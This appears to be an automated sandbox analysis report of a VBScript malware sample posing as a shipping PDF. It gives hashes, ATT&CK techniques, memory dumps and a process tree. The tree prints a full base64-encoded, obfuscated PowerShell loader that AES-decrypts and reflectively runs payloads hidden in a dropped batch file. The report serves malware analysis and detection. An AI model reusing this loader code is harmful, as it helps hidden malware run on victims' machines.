22b36e1c397813f53c8a4d5e46a1a7547a3be485ba451130c931c3ac2e0b1e5d

General

Target

Shipping_Documents.pdf_.vbs
Size

72KB
MD5

d8e3bf5f66fd94bc6eac4c31a80752c7
SHA1

19b8f112fe35de01170434a90c9080155dfa0736
SHA256

db330e50d5573d582f7874ae62c48052bbf899c89ee27b3a0639a526b0e3232f
SHA512

647ae0f8e7eef2aceec6dc27d8ef0fb64c63712ad02f4fa0b81329b844276ecc0bd2d429960f8c1b4928c806cf1c82b59dd8826a4a558ed2726da645640985d1
SSDEEP

1536:rNx0vFMLSEGgcX4XTA66MrhifWezrLm3kaHV/wSCDCfcP8p:rNx0yfj8fWey3Hcuyo

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2268	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2488	WScript.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2268	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2268	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 2876	2488	WScript.exe	31
PID 2488 wrote to memory of 2876	2488	WScript.exe	31
PID 2488 wrote to memory of 2876	2488	WScript.exe	31
PID 2876 wrote to memory of 2216	2876	cmd.exe	33
PID 2876 wrote to memory of 2216	2876	cmd.exe	33
PID 2876 wrote to memory of 2216	2876	cmd.exe	33
PID 2216 wrote to memory of 2268	2216	cmd.exe	35
PID 2216 wrote to memory of 2268	2216	cmd.exe	35
PID 2216 wrote to memory of 2268	2216	cmd.exe	35

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Shipping_Documents.pdf_.vbs"
1⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\Q4eY1cFvc.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\Q4eY1cFvc.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2216
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskYmFpaXUgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGJhaWl1KSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRiYWlpdSIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRiYWlpdSwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkYmFpaXUiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gdGRvbG8oJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3ZLbXZYOFhUU3JqR0U4KzlwSjJsdE1uL1RsTndtM2g4clp5R29PQ0pSSjQ9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ01nOG9aZW9WZUdTNHZHOEJYczNhZkE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gdG9zb2QoJHBhcmFtX3Zhcil7CSRubWprdT1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkcmpyamo9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkbWRrZGU9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkbm1qa3UsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJG1ka2RlLkNvcHlUbygkcmpyamopOwkkbWRrZGUuRGlzcG9zZSgpOwkkbm1qa3UuRGlzcG9zZSgpOwkkcmpyamouRGlzcG9zZSgpOwkkcmpyamouVG9BcnJheSgpO31mdW5jdGlvbiB6cnhxbigkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJHB2c3piPVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJGdwZmxxPSRwdnN6Yi5FbnRyeVBvaW50OwkkZ3BmbHEuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGJhaWl1OyRxd3Zkej1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGJhaWl1KS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkd2xhIGluICRxd3ZkeikgewlpZiAoJHdsYS5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGdka3hiPSR3bGEuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JHdmbGxxPVtzdHJpbmdbXV0kZ2RreGIuU3BsaXQoJ1wnKTskY2tkd3o9dG9zb2QgKHRkb2xvIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJHdmbGxxWzBdKSkpOyRnaGdkbD10b3NvZCAodGRvbG8gKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkd2ZsbHFbMV0pKSk7enJ4cW4gJGNrZHd6ICRudWxsO3pyeHFuICRnaGdkbCAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Q4eY1cFvc.bat

Filesize
64KB

MD5
2b430a4cac799317acbb29182a706fd6

SHA1
5740c0a3c5b8d522c914dac8b99f53a01ebe1563

SHA256
89bc2ca883836dcf443e80e2ecc1b20630022fba33ea10b2b8e9d4e9a063d853

SHA512
80b224887895ccfd68281473a4c9a25e783a19625e759974a607a8df52f8954422666461d89f528d7af1aaf71d938c13aa9ad2e4f3a98b9c26a9b20752f88d52

Download Submit
memory/2268-15-0x000007FEF5B7E000-0x000007FEF5B7F000-memory.dmp

Filesize
4KB

Download
memory/2268-16-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2268-18-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/2268-19-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/2268-17-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

Filesize
32KB

Download
memory/2268-20-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download
memory/2268-21-0x000007FEF58C0000-0x000007FEF625D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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